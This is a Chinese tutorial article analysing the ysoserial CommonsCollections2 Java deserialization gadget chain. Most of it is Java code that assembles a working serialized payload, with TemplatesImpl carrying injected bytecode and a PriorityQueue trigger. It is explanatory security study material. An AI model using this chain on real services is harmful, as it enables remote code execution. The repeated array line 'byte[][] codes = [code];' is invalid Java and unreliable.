Java安全 ysoserial CommonsCollections2示例分析
正文
在最后一步的實現(xiàn)上,cc2和cc3一樣,最終都是通過TemplatesImpl惡意字節(jié)碼文件動態(tài)加載方式實現(xiàn)反序列化。
已知的TemplatesImpl->newTransformer()是最終要執(zhí)行的。
TemplatesImpl類動態(tài)加載方式的實現(xiàn)分析見ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的調用通過InvokerTransformer.transform()反射機制實現(xiàn),這里可以看ysoserial CommonsCollections1 分析中的前半部分內容。
cc2 commons-collections4版本利用鏈
cc2是針對commons-collections4版本,利用鏈如下:
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
InvokerTransformer.transform()利用
所以在InvokerTransformer.transform()之后的利用如下:
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = [code];
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執(zhí)行,_tfactory得賦值,因為defineTransletClasses中調用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl類型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
transformer.transform(templates);
}
}
InvokerTransformer.transform()的調用
TransformingComparator的compare,實現(xiàn)了對屬性this.transformer的transform調用,這里可以通過TransformingComparator構造方法為該屬性賦值。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
通過compare的調用
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);
TransformingComparator.compare()的調用
PriorityQueue類中的readobject()調用了heapify(),heapify()中調用了siftDown(),siftDown()調用了siftDownUsingComparator(),siftDownUsingComparator()方法實現(xiàn)了comparator.compare()調用。
那么只要將transformingComparator對象賦值給comparator,可以通過反射,也可以通過構造方法,這里通過構造方法,且initialCapacity不能小于1。
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
由于comparator.compare()中的參數(shù)來自queue,所以需要將templates賦值給queue。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中會調用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中帶入的參數(shù)對象如果不存在newTransformer方法將報錯,另外使用templates作為參數(shù),又會導致在序列化過程構造惡意對象的時候得到執(zhí)行。所以這里先用toString()方法代替,后通過反射方式修改this.iMethodName屬性。
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
queue屬性賦值
transient queue無法序列化,但在PriorityQueue的writeobject()、readobject中對queue做了重寫,實現(xiàn)序列化和反序列化。
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//略
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//略
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
通過反射修改queues[0],利用如下:
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//這里得替換queues[0]
//如果queues[0]依舊保留使用Integer,會因為無法找到newTransformer報錯。
最終完整利用實現(xiàn)
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = [code];
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執(zhí)行,_tfactory得賦值,因為defineTransletClasses中調用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl類型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
objectOutputStream.writeObject(priorityQueue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
objectInputStream.readObject();
}
}

以上就是Java安全 ysoserial CommonsCollections2示例分析的詳細內容,更多關于Java ysoserial CommonsCollections的資料請關注腳本之家其它相關文章!
相關文章
在SpringBoot中實現(xiàn)一個訂單號生成系統(tǒng)的示例代碼
在Spring Boot中設計一個訂單號生成系統(tǒng),主要考慮到生成的訂單號需要滿足的幾個要求:唯一性、可擴展性、以及可能的業(yè)務相關性,本文給大家介紹了幾種常見的解決方案及相應的示例代碼,需要的朋友可以參考下2024-02-02
Eclipse添加xml文件提示及Hibernate配置學習
文件提示功能在開發(fā)過程中很實用的,本文實現(xiàn)了一個Eclipse添加xml文件提示,感興趣的朋友可以了解下啊,希望本文對你有所幫助2013-01-01
intellij idea 啟動tomcat 1099端口被占用的解決
這篇文章主要介紹了intellij idea 啟動tomcat 1099端口被占用的解決,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2019-09-09
SpringBoot實現(xiàn)MapperScan添加動態(tài)配置(占位符)
這篇文章主要介紹了SpringBoot實現(xiàn)MapperScan添加動態(tài)配置(占位符),具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教。2022-01-01

